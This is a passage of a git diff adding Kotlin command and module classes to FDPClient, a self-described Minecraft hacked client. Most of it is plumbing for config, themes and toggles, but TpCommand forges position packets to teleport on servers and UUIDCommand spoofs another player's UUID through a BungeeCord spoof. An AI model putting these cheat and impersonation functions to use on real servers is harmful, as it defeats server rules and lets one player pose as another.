index 0000000..f9eabdc --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/command/commands/ReloadCommand.kt @@ -0,0 +1,52 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.command.commands + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.features.command.Command +import net.ccbluex.liquidbounce.features.command.CommandManager +import net.ccbluex.liquidbounce.features.module.modules.other.Insult +import net.ccbluex.liquidbounce.ui.cape.GuiCapeManager +import net.ccbluex.liquidbounce.ui.font.Fonts + +class ReloadCommand : Command("reload", emptyArray()) { + /** + * Execute commands with provided [args] + */ + override fun execute(args: Array<String>) { + alert("Reloading...") + alert("§c§lReloading commands...") + FDPClient.commandManager = CommandManager() + FDPClient.commandManager.registerCommands() + FDPClient.isStarting = true + FDPClient.isLoadingConfig = true + FDPClient.scriptManager.disableScripts() + FDPClient.scriptManager.unloadScripts() + for (module in FDPClient.moduleManager.modules) + FDPClient.moduleManager.generateCommand(module) + alert("§c§lReloading scripts...") + FDPClient.scriptManager.loadScripts() + FDPClient.scriptManager.enableScripts() + alert("§c§lReloading fonts...") + Fonts.loadFonts() + alert("§c§lReloading modules...") + FDPClient.configManager.load(FDPClient.configManager.nowConfig, false) + Insult.loadFile() + GuiCapeManager.load() + alert("§c§lReloading accounts...") + FDPClient.fileManager.loadConfig(FDPClient.fileManager.accountsConfig) + alert("§c§lReloading friends...") + FDPClient.fileManager.loadConfig(FDPClient.fileManager.friendsConfig) + alert("§c§lReloading xray...") + FDPClient.fileManager.loadConfig(FDPClient.fileManager.xrayConfig) + alert("§c§lReloading HUD...") + FDPClient.fileManager.loadConfig(FDPClient.fileManager.hudConfig) + alert("Reloaded.") + FDPClient.isStarting = false + FDPClient.isLoadingConfig = false + System.gc() + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/command/commands/SayCommand.kt b/src/main/java/net/ccbluex/liquidbounce/features/command/commands/SayCommand.kt new file mode 100644 index 0000000..31b9ccb --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/command/commands/SayCommand.kt @@ -0,0 +1,25 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.command.commands + +import net.ccbluex.liquidbounce.features.command.Command +import net.ccbluex.liquidbounce.utils.PacketUtils +import net.ccbluex.liquidbounce.utils.misc.StringUtils +import net.minecraft.network.play.client.C01PacketChatMessage + +class SayCommand : Command("say", emptyArray()) { + /** + * Execute commands with provided [args] + */ + override fun execute(args: Array<String>) { + if (args.size > 1) { + val str = StringUtils.toCompleteString(args, 1) + mc.thePlayer.sendChatMessage(str) + return + } + chatSyntax("say <message...>") + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/command/commands/ServerInfoCommand.kt b/src/main/java/net/ccbluex/liquidbounce/features/command/commands/ServerInfoCommand.kt new file mode 100644 index 0000000..101aa47 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/command/commands/ServerInfoCommand.kt @@ -0,0 +1,31 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.command.commands + +import net.ccbluex.liquidbounce.features.command.Command + +class ServerInfoCommand : Command("serverinfo", arrayOf("si")) { + /** + * Execute commands with provided [args] + */ + override fun execute(args: Array<String>) { + if (mc.currentServerData == null) { + alert("This command does not work in single player.") + return + } + + val data = mc.currentServerData ?: return + + alert("Server infos:") + alert("§7Name: §8${data.serverName}") + alert("§7IP: §8${data.serverIP}") + alert("§7Players: §8${data.populationInfo}") + alert("§7MOTD: §8${data.serverMOTD}") + alert("§7ServerVersion: §8${data.gameVersion}") + alert("§7ProtocolVersion: §8${data.version}") + alert("§7Ping: §8${data.pingToServer}") + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/command/commands/TargetCommand.kt b/src/main/java/net/ccbluex/liquidbounce/features/command/commands/TargetCommand.kt new file mode 100644 index 0000000..56b200e --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/command/commands/TargetCommand.kt @@ -0,0 +1,60 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.command.commands + +import net.ccbluex.liquidbounce.features.command.Command +import net.ccbluex.liquidbounce.features.module.modules.client.Target + +class TargetCommand : Command("target", emptyArray()) { + /** + * Execute commands with provided [args] + */ + override fun execute(args: Array<String>) { + if (args.size > 1) { + when { + args[1].equals("players", ignoreCase = true) -> { + Target.playerValue.set(!Target.playerValue.get()) + alert("§7Target player toggled ${if (Target.playerValue.get()) "on" else "off"}.") + playEdit() + return + } + + args[1].equals("mobs", ignoreCase = true) -> { + Target.mobValue.set(!Target.mobValue.get()) + alert("§7Target mobs toggled ${if (Target.mobValue.get()) "on" else "off"}.") + playEdit() + return + } + + args[1].equals("animals", ignoreCase = true) -> { + Target.animalValue.set(!Target.animalValue.get()) + alert("§7Target animals toggled ${if (Target.animalValue.get()) "on" else "off"}.") + playEdit() + return + } + + args[1].equals("invisible", ignoreCase = true) -> { + Target.invisibleValue.set(!Target.invisibleValue.get()) + alert("§7Target Invisible toggled ${if (Target.invisibleValue.get()) "on" else "off"}.") + playEdit() + return + } + } + } + + chatSyntax("target <players/mobs/animals/invisible>") + } + + override fun tabComplete(args: Array<String>): List<String> { + if (args.isEmpty()) return emptyList() + + return when (args.size) { + 1 -> listOf("players", "mobs", "animals", "invisible") + .filter { it.startsWith(args[0], true) } + else -> emptyList() + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/command/commands/ThemeCommand.kt b/src/main/java/net/ccbluex/liquidbounce/features/command/commands/ThemeCommand.kt new file mode 100644 index 0000000..cd3333b --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/command/commands/ThemeCommand.kt @@ -0,0 +1,134 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ + +package net.ccbluex.liquidbounce.features.command.commands + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.features.command.Command +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.Notification +import net.ccbluex.liquidbounce.ui.client.hud.Config +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.NotifyType +import java.io.File +import java.io.IOException + +class ThemeCommand : Command("theme", arrayOf("thememanager", "tm", "themes")) { + /** + * Execute commands with provided [args] + */ + override fun execute(args: Array<String>) { + if (args.size > 1) { + when { + args[1].equals("load", ignoreCase = true) -> { + if (args.size > 2) { + val themeFile = File(FDPClient.fileManager.themesDir, args[2]) + + if (themeFile.exists()) { + try { + chat("§9Loading theme...") + val theme = themeFile.readText() + chat("§9Set theme settings...") + FDPClient.isStarting = true + FDPClient.hud.clearElements() + FDPClient.hud = Config(theme).toHUD() + FDPClient.isStarting = false + chat("§6Theme applied successfully.") + FDPClient.hud.addNotification(Notification("theme", "Updated HUD Theme.", NotifyType.SUCCESS)) + playEdit() + } catch (e: IOException) { + e.printStackTrace() + } + + return + } + + chat("§cTheme file does not exist!") + return + } + + chatSyntax("theme load <name>") + return + } + + args[1].equals("save", ignoreCase = true) -> { + if (args.size > 2) { + val themeFile = File(FDPClient.fileManager.themesDir, args[2]) + + try { + if (themeFile.exists()) + themeFile.delete() + themeFile.createNewFile() + + chat("§9Creating theme settings...") + val settingsTheme = Config(FDPClient.hud).toJson() + chat("§9Saving theme...") + themeFile.writeText(settingsTheme) + chat("§6Theme saved successfully.") + } catch (throwable: Throwable) { + chat("§cFailed to create local theme config: §3${throwable.message}") + println("Failed to create local theme config.") + } + return + } + + chatSyntax("theme save <name>") + return + } + + args[1].equals("delete", ignoreCase = true) -> { + if (args.size > 2) { + val themeFile = File(FDPClient.fileManager.themesDir, args[2]) + + if (themeFile.exists()) { + themeFile.delete() + chat("§6Theme file deleted successfully.") + return + } + + chat("§cTheme file does not exist!") + return + } + + chatSyntax("theme delete <name>") + return + } + + args[1].equals("list", ignoreCase = true) -> { + chat("§cThemes:") + + val themes = this.getLocalThemes() ?: return + + for (file in themes) + chat("> " + file.name) + return + } + } + } + chatSyntax("theme <load/save/list/delete>") + } + + override fun tabComplete(args: Array<String>): List<String> { + if (args.isEmpty()) return emptyList() + + return when (args.size) { + 1 -> listOf("delete", "list", "load", "save").filter { it.startsWith(args[0], true) } + 2 -> { + when (args[0].lowercase()) { + "delete", "load" -> { + val settings = this.getLocalThemes() ?: return emptyList() + + return settings + .map { it.name } + .filter { it.startsWith(args[1], true) } + } + } + return emptyList() + } + else -> emptyList() + } + } + + private fun getLocalThemes(): Array<File>? = FDPClient.fileManager.themesDir.listFiles() +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/command/commands/ToggleCommand.kt b/src/main/java/net/ccbluex/liquidbounce/features/command/commands/ToggleCommand.kt new file mode 100644 index 0000000..ea64ca6 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/command/commands/ToggleCommand.kt @@ -0,0 +1,57 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.command.commands + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.features.command.Command + +class ToggleCommand : Command("toggle", arrayOf("t")) { + /** + * Execute commands with provided [args] + */ + override fun execute(args: Array<String>) { + if (args.size > 1) { + val module = FDPClient.moduleManager.getModule(args[1]) + + if (module == null) { + alert("Module '${args[1]}' not found.") + return + } + + if (args.size > 2) { + val newState = args[2].lowercase() + + if (newState == "on" || newState == "off") { + module.state = newState == "on" + } else { + chatSyntax("toggle <module> [on/off]") + return + } + } else { + module.toggle() + } + + alert("${if (module.state) "Enabled" else "Disabled"} module §8${module.name}§3.") + return + } + + chatSyntax("toggle <module> [on/off]") + } + + override fun tabComplete(args: Array<String>): List<String> { + if (args.isEmpty()) return emptyList() + + val moduleName = args[0] + + return when (args.size) { + 1 -> FDPClient.moduleManager.modules + .map { it.name } + .filter { it.startsWith(moduleName, true) } + .toList() + else -> emptyList() + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/command/commands/TpCommand.kt b/src/main/java/net/ccbluex/liquidbounce/features/command/commands/TpCommand.kt new file mode 100644 index 0000000..1e95d45 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/command/commands/TpCommand.kt @@ -0,0 +1,73 @@ +package net.ccbluex.liquidbounce.features.command.commands + +import net.ccbluex.liquidbounce.features.command.Command +import net.ccbluex.liquidbounce.features.module.modules.other.AntiBot +import net.ccbluex.liquidbounce.utils.PathUtils +import net.minecraft.network.play.client.C03PacketPlayer.C04PacketPlayerPosition +import java.util.function.Consumer +import javax.vecmath.Vector3d + +class TpCommand : Command("tp", arrayOf("teleport")) { + + /** + * Execute commands with provided [args] + */ + override fun execute(args: Array<String>) { + if (args.size == 2) { + val theName = args[1] + + // Get target player data + val targetPlayer = mc.theWorld.playerEntities + .filter { !AntiBot.isBot(it) && it.name.equals(theName, true) } + .firstOrNull() + + // Attempt to teleport to player's position. + if (targetPlayer != null) { + PathUtils.findPath(targetPlayer.posX, targetPlayer.posY, targetPlayer.posZ, 4.0) + .forEach(Consumer { pos: Vector3d -> + mc.netHandler + .addToSendQueue(C04PacketPlayerPosition(pos.getX(), pos.getY(), pos.getZ(), true)) + }) + mc.thePlayer.setPosition(targetPlayer.posX, targetPlayer.posY, targetPlayer.posZ) + + return + } else { + return + } + } else if (args.size == 4) { + try { + val posX = if (args[1].equals("~", true)) mc.thePlayer.posX else args[1].toDouble() + val posY = if (args[2].equals("~", true)) mc.thePlayer.posY else args[2].toDouble() + val posZ = if (args[3].equals("~", true)) mc.thePlayer.posZ else args[3].toDouble() + + PathUtils.findPath(posX, posY, posZ, 4.0).forEach(Consumer { pos: Vector3d -> + mc.netHandler + .addToSendQueue(C04PacketPlayerPosition(pos.getX(), pos.getY(), pos.getZ(), true)) + }) + mc.thePlayer.setPosition(posX, posY, posZ) + return + } catch (e: NumberFormatException) { + + return + } + } + + chatSyntax("tp <player name/x y z>") + } + + override fun tabComplete(args: Array<String>): List<String> { + if (args.isEmpty()) return emptyList() + + val pref = args[0] + + return when (args.size) { + 1 -> mc.theWorld.playerEntities + .filter { !AntiBot.isBot(it) && it.name.startsWith(pref, true) } + .map { it.name } + .toList() + + else -> emptyList() + } + } + +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/command/commands/UUIDCommand.kt b/src/main/java/net/ccbluex/liquidbounce/features/command/commands/UUIDCommand.kt new file mode 100644 index 0000000..018b53b --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/command/commands/UUIDCommand.kt @@ -0,0 +1,48 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.command.commands + +import net.ccbluex.liquidbounce.features.command.Command +import net.ccbluex.liquidbounce.features.module.modules.other.AntiBot +import net.ccbluex.liquidbounce.handler.other.UUIDSpoofer + +class UUIDCommand : Command("uuid", emptyArray()) { + + /** + * Execute commands with provided [args] + */ + override fun execute(args: Array<String>) { + if (args.size == 2) { + val theName = args[1] + + if (theName.equals("reset", true)) { + UUIDSpoofer.spoofId = null + chat("§aSuccessfully resetted your UUID.") + return + } + + // Get target player data + val targetPlayer = mc.theWorld.playerEntities + .filter { !AntiBot.isBot(it) && it.name.equals(theName, true) } + .firstOrNull() + + if (targetPlayer == null) + UUIDSpoofer.spoofId = theName + else + UUIDSpoofer.spoofId = targetPlayer.gameProfile.id.toString() + chat("§aSuccessfully changed your UUID to §6${UUIDSpoofer.spoofId!!}§a. Make sure to turn on BungeeCordSpoof in server selection.") + return + } + + if (args.size == 1) { + chat("§6Session's UUID is §7${mc.session.playerID}§6.") + chat("§6Player's UUID is §7${mc.thePlayer.uniqueID}§6.") + } + + chatSyntax("uuid <player's name in current world/uuid/reset>") + } + +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/command/commands/UsernameCommand.kt b/src/main/java/net/ccbluex/liquidbounce/features/command/commands/UsernameCommand.kt new file mode 100644 index 0000000..3fa2cc5 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/command/commands/UsernameCommand.kt @@ -0,0 +1,14 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.command.commands + +import net.ccbluex.liquidbounce.features.command.Command + +class UsernameCommand : Command("username", arrayOf("name")) { + override fun execute(args: Array<String>) { + alert("Username: " + mc.thePlayer.name) + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/Module.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/Module.kt new file mode 100644 index 0000000..9bc069f --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/Module.kt @@ -0,0 +1,262 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.event.Listenable +import net.ccbluex.liquidbounce.features.module.modules.client.HUD +import net.ccbluex.liquidbounce.features.module.modules.client.SoundModule +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.Notification +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.NotifyType +import net.ccbluex.liquidbounce.ui.i18n.LanguageManager +import net.ccbluex.liquidbounce.utils.AnimationHelper +import net.ccbluex.liquidbounce.utils.ClassUtils +import net.ccbluex.liquidbounce.utils.ClientUtils +import net.ccbluex.liquidbounce.utils.MinecraftInstance +import net.ccbluex.liquidbounce.utils.render.Animation +import net.ccbluex.liquidbounce.utils.render.ColorUtils.stripColor +import net.ccbluex.liquidbounce.utils.render.EaseUtils +import net.ccbluex.liquidbounce.utils.render.Translate +import net.ccbluex.liquidbounce.features.value.Value +import org.lwjgl.input.Keyboard +import java.util.ArrayList + +open class Module : MinecraftInstance(), Listenable { + // Module information + var slideStep = 0F + val translate = Translate(0F,0F) + val tab = Translate(0f , 0f) + var expanded: Boolean = false + val animation: AnimationHelper + var name: String + private var suffix: String? = null + private val properties: List<Value<*>> = ArrayList<Value<*>>() + private var toggled = false + var localizedName = "" + get() = field.ifEmpty { name } + var description: String + var category: ModuleCategory + var keyBind = Keyboard.CHAR_NONE + set(keyBind) { + field = keyBind + + if (!FDPClient.isStarting) { + FDPClient.configManager.smartSave() + } + } + var array = true + set(array) { + field = array + + if (!FDPClient.isStarting) { + FDPClient.configManager.smartSave() + } + } + val canEnable: Boolean + var autoDisable: EnumAutoDisableType + var triggerType: EnumTriggerType + val moduleCommand: Boolean + val moduleInfo = javaClass.getAnnotation(ModuleInfo::class.java)!! + var splicedName = "" + get() { + if (field.isEmpty()) { + val sb = StringBuilder() + val arr = name.toCharArray() + for (i in arr.indices) { + val char = arr[i] + if (i != 0 && !Character.isLowerCase(char) && Character.isLowerCase(arr[i - 1])) { + sb.append(' ') + } + sb.append(char) + } + field = sb.toString() + } + return field + } + + init { + name = moduleInfo.name + animation = AnimationHelper(this) + description = moduleInfo.description.ifEmpty { LanguageManager.getAndFormat("module.$name.description") } + category = moduleInfo.category + keyBind = moduleInfo.keyBind + array = moduleInfo.array + canEnable = moduleInfo.canEnable + autoDisable = moduleInfo.autoDisable + moduleCommand = moduleInfo.moduleCommand + triggerType = moduleInfo.triggerType + } + + open fun onLoad() { + localizedName = if(LanguageManager.getAndFormat("module.$name.name") == "module.$name.name") { + name + } else { + LanguageManager.getAndFormat("module.$name.name") + } + } + + // Current state of module + var state = false + set(value) { + if (field == value) return + + // Call toggle + onToggle(value) + + // Play sound and add notification + if (!FDPClient.isStarting) { + if (value) { + SoundModule.playSound(true) + FDPClient.hud.addNotification(Notification(LanguageManager.getAndFormat("notify.module.title"), LanguageManager.getAndFormat("notify.module.enable", localizedName), NotifyType.SUCCESS)) + } else { + SoundModule.playSound(false) + FDPClient.hud.addNotification(Notification(LanguageManager.getAndFormat("notify.module.title"), LanguageManager.getAndFormat("notify.module.disable", localizedName), NotifyType.ERROR)) + } + } + + // Call on enabled or disabled + try { + field = canEnable && value + if (value) { + onEnable() + } else { + onDisable() + } + } catch (e: Throwable) { + e.printStackTrace() + } + + // Save module state + FDPClient.configManager.smartSave() + } + + // HUD + val hue = Math.random().toFloat() + private var slideAnimation: Animation? = null + var slide = 0f + get() { + if (slideAnimation != null) { + field = slideAnimation!!.value.toFloat() + if (slideAnimation!!.state == Animation.EnumAnimationState.STOPPED) { + slideAnimation = null + } + } + return field + } + set(value) { + if (slideAnimation == null || (slideAnimation != null && slideAnimation!!.to != value.toDouble())) { + slideAnimation = Animation(EaseUtils.EnumEasingType.valueOf(HUD.arraylistXAxisAnimTypeValue.get()), EaseUtils.EnumEasingOrder.valueOf(HUD.arraylistXAxisAnimOrderValue.get()), field.toDouble(), value.toDouble(), HUD.arraylistXAxisAnimSpeedValue.get() * 30L).start() + } + } + var yPosAnimation: Animation? = null + open var yPos = 0f + get() { + if (yPosAnimation != null) { + field = yPosAnimation!!.value.toFloat() + if (yPosAnimation!!.state == Animation.EnumAnimationState.STOPPED) { + yPosAnimation = null + } + } + return field + } + set(value) { + if (yPosAnimation == null || (yPosAnimation != null && yPosAnimation!!.to != value.toDouble())) { + yPosAnimation = Animation(EaseUtils.EnumEasingType.valueOf(HUD.arraylistYAxisAnimTypeValue.get()), EaseUtils.EnumEasingOrder.valueOf(HUD.arraylistYAxisAnimOrderValue.get()), field.toDouble(), value.toDouble(), HUD.arraylistYAxisAnimSpeedValue.get() * 30L).start() + } + } + + // Tag + open val tag: String? + get() = null + + val tagName: String + get() = "$name${if (tag == null) "" else " §7$tag"}" + + val colorlessTagName: String + get() = "$name${if (tag == null) "" else " " + stripColor(tag!!)}" + + var width = 10 + + /** + * Toggle module + */ + fun toggle() { + state = !state + } + open fun getSuffix(): String? { + return suffix + } + + open fun setSuffix(suffix: String?) { + this.suffix = suffix + } + + open fun getProperties(): List<Value<*>?>? { + return properties + } + + open fun hasMode(): Boolean { + return suffix != null + } + open fun isToggled(): Boolean { + return toggled + } + open fun toggleSilent() { + this.toggled = !this.toggled + if (this.toggled) { + onEnable() + } else { + onDisable() + } + } + + /** + * Print [msg] to chat as alert + */ + protected fun alert(msg: String) = ClientUtils.displayAlert(msg) + + /** + * Print [msg] to chat as plain text + */ + protected fun chat(msg: String) = ClientUtils.displayChatMessage(msg) + + /** + * Called when module toggled + */ + open fun onToggle(state: Boolean) {} + + /** + * Called when module enabled + */ + open fun onEnable() {} + + /** + * Called when module disabled + */ + open fun onDisable() {} + + /** + * Called when module initialized + */ + open fun onInitialize() {} + + /** + * Get all values of module + */ + open val values: List<Value<*>> + get() = ClassUtils.getValues(this.javaClass, this) + + /** + * Get module by [valueName] + */ + open fun getValue(valueName: String) = values.find { it.name.equals(valueName, ignoreCase = true) } + + /** + * Events should be handled when module is enabled + */ + override fun handleEvents() = state + +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/ModuleCategory.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/ModuleCategory.kt new file mode 100644 index 0000000..34ab310 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/ModuleCategory.kt @@ -0,0 +1,44 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module + +import lombok.Getter +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.utils.normal.Main +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.utils.objects.Drag +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.utils.render.Scroll + +enum class ModuleCategory(val displayName: String, val configName: String, val htmlIcon: String) { + COMBAT("%module.category.combat%", "Combat", ""), + PLAYER("%module.category.player%", "Player", ""), + MOVEMENT("%module.category.movement%", "Movement", ""), + VISUAL("%module.category.visual%", "Visual", ""), + CLIENT("%module.category.client%", "Client", ""), + WORLD("%module.category.world%", "World", ""), + OTHER("%module.category.other%", "Other", ""), + EXPLOIT("%module.category.exploit%", "Exploit", ""); + + var namee: String? = null + var icon: String? = null + var posX = 0 + var expanded = false + + @Getter + val scroll: Scroll = Scroll() + + @Getter + var drag: Drag? = null + var posY = 20 + + open fun ModuleCategory(name: String?) { + namee = name + icon = icon + posX = 40 + Main.categoryCount * 120 + drag = Drag(posX.toFloat(), posY.toFloat()) + expanded = true + Main.categoryCount++ + } + +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/ModuleCommand.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/ModuleCommand.kt new file mode 100644 index 0000000..2a0766c --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/ModuleCommand.kt @@ -0,0 +1,134 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module + +import net.ccbluex.liquidbounce.features.command.Command +import net.ccbluex.liquidbounce.utils.block.BlockUtils +import net.ccbluex.liquidbounce.utils.misc.StringUtils +import net.ccbluex.liquidbounce.features.value.* +import net.minecraft.block.Block + +/** + * Module command + * + * @author SenkJu + */ +class ModuleCommand(val module: Module, val values: List<Value<*>> = module.values) : Command(module.name.lowercase(), emptyArray()) { + + init { + if (values.isEmpty()) + throw IllegalArgumentException("Values are empty!") + } + + /** + * Execute commands with provided [args] + */ + override fun execute(args: Array<String>) { + val valueNames = values + .filter { it !is FontValue } + .joinToString(separator = "/") { it.name.lowercase() } + + val moduleName = module.name.lowercase() + + if (args.size < 2) { + chatSyntax(if (values.size == 1) "$moduleName $valueNames <value>" else "$moduleName <$valueNames>") + return + } + + val value = module.getValue(args[1]) + + if (value == null) { + chatSyntax("$moduleName <$valueNames>") + return + } + + if (value is BoolValue) { + val newValue = !value.get() + value.set(newValue) + + alert("§7${module.name} §8${args[1]}§7 was toggled ${if (newValue) "§8on§7" else "§8off§7" + "."}") + playEdit() + } else { + if (args.size < 3) { + if (value is IntegerValue || value is FloatValue || value is TextValue) + chatSyntax("$moduleName ${args[1].lowercase()} <value>") + else if (value is ListValue) + chatSyntax("$moduleName ${args[1].lowercase()} <${value.values.joinToString(separator = "/").lowercase()}>") + return + } + + try { + when (value) { + is BlockValue -> { + val id: Int = try { + args[2].toInt() + } catch (exception: NumberFormatException) { + val tmpId = Block.getBlockFromName(args[2])?.let { Block.getIdFromBlock(it) } + + if (tmpId == null || tmpId <= 0) { + alert("§7Block §8${args[2]}§7 does not exist!") + return + } + + tmpId + } + + value.set(id) + alert("§7${module.name} §8${args[1].lowercase()}§7 was set to §8${BlockUtils.getBlockName(id)}§7.") + playEdit() + return + } + is IntegerValue -> value.set(args[2].toInt()) + is FloatValue -> value.set(args[2].toFloat()) + is ListValue -> { + if (!value.values.any { it.lowercase() == args[2].lowercase() }) { + chatSyntax("$moduleName ${args[1].lowercase()} <${value.values.joinToString(separator = "/").lowercase()}>") + return + } + + value.set(args[2]) + } + is TextValue -> value.set(StringUtils.toCompleteString(args, 2)) + } + + alert("§7${module.name} §8${args[1]}§7 was set to §8${value.get()}§7.") + playEdit() + } catch (e: NumberFormatException) { + alert("§8${args[2]}§7 cannot be converted to number!") + } + } + } + + override fun tabComplete(args: Array<String>): List<String> { + if (args.isEmpty()) return emptyList() + + return when (args.size) { + 1 -> values + .filter { it !is FontValue && it.name.startsWith(args[0], true) } + .map { it.name.lowercase() } + 2 -> { + when(module.getValue(args[0])) { + is BlockValue -> { + return Block.blockRegistry.keys + .map { it.resourcePath.lowercase() } + .filter { it.startsWith(args[1], true) } + } + is ListValue -> { + values.forEach { value -> + if (!value.name.equals(args[0], true)) + return@forEach + if (value is ListValue) + return value.values.filter { it.startsWith(args[1], true) } + } + return emptyList() + } + else -> emptyList() + } + } + else -> emptyList() + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/ModuleInfo.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/ModuleInfo.kt new file mode 100644 index 0000000..ec2039c --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/ModuleInfo.kt @@ -0,0 +1,35 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module + +import org.lwjgl.input.Keyboard + +@Retention(AnnotationRetention.RUNTIME) +annotation class ModuleInfo( + val name: String, + val description: String = "", + val category: ModuleCategory, + val keyBind: Int = Keyboard.CHAR_NONE, + val canEnable: Boolean = true, + val array: Boolean = true, + val autoDisable: EnumAutoDisableType = EnumAutoDisableType.NONE, + val moduleCommand: Boolean = true, + val defaultOn: Boolean = false, + val forceNoSound: Boolean = false, + val triggerType: EnumTriggerType = EnumTriggerType.TOGGLE +) + +enum class EnumAutoDisableType { + NONE, + RESPAWN, + FLAG, + GAME_END +} + +enum class EnumTriggerType { + TOGGLE, + PRESS +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/ModuleManager.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/ModuleManager.kt new file mode 100644 index 0000000..835ca45 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/ModuleManager.kt @@ -0,0 +1,157 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.KeyEvent +import net.ccbluex.liquidbounce.event.Listenable +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.handler.other.AutoDisable +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.Notification +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.NotifyType +import net.ccbluex.liquidbounce.utils.ClassUtils +import net.ccbluex.liquidbounce.utils.ClientUtils +import net.minecraft.client.Minecraft +import org.lwjgl.input.Keyboard + +class ModuleManager : Listenable { + + val modules = mutableListOf<Module>() + private val moduleClassMap = hashMapOf<Class<*>, Module>() + fun getModuleInCategory(category: ModuleCategory) = modules.filter { it.category == category } + var pendingBindModule: Module? = null + + init { + FDPClient.eventManager.registerListener(this) + } + + /** + * Register all modules + */ + fun registerModules() { + ClientUtils.logInfo("[ModuleManager] Loading modules...") + + ClassUtils.resolvePackage("${this.javaClass.`package`.name}.modules", Module::class.java) + .forEach(this::registerModule) + + modules.forEach { it.onInitialize() } + + modules.forEach { it.onLoad() } + + FDPClient.eventManager.registerListener(AutoDisable) + + 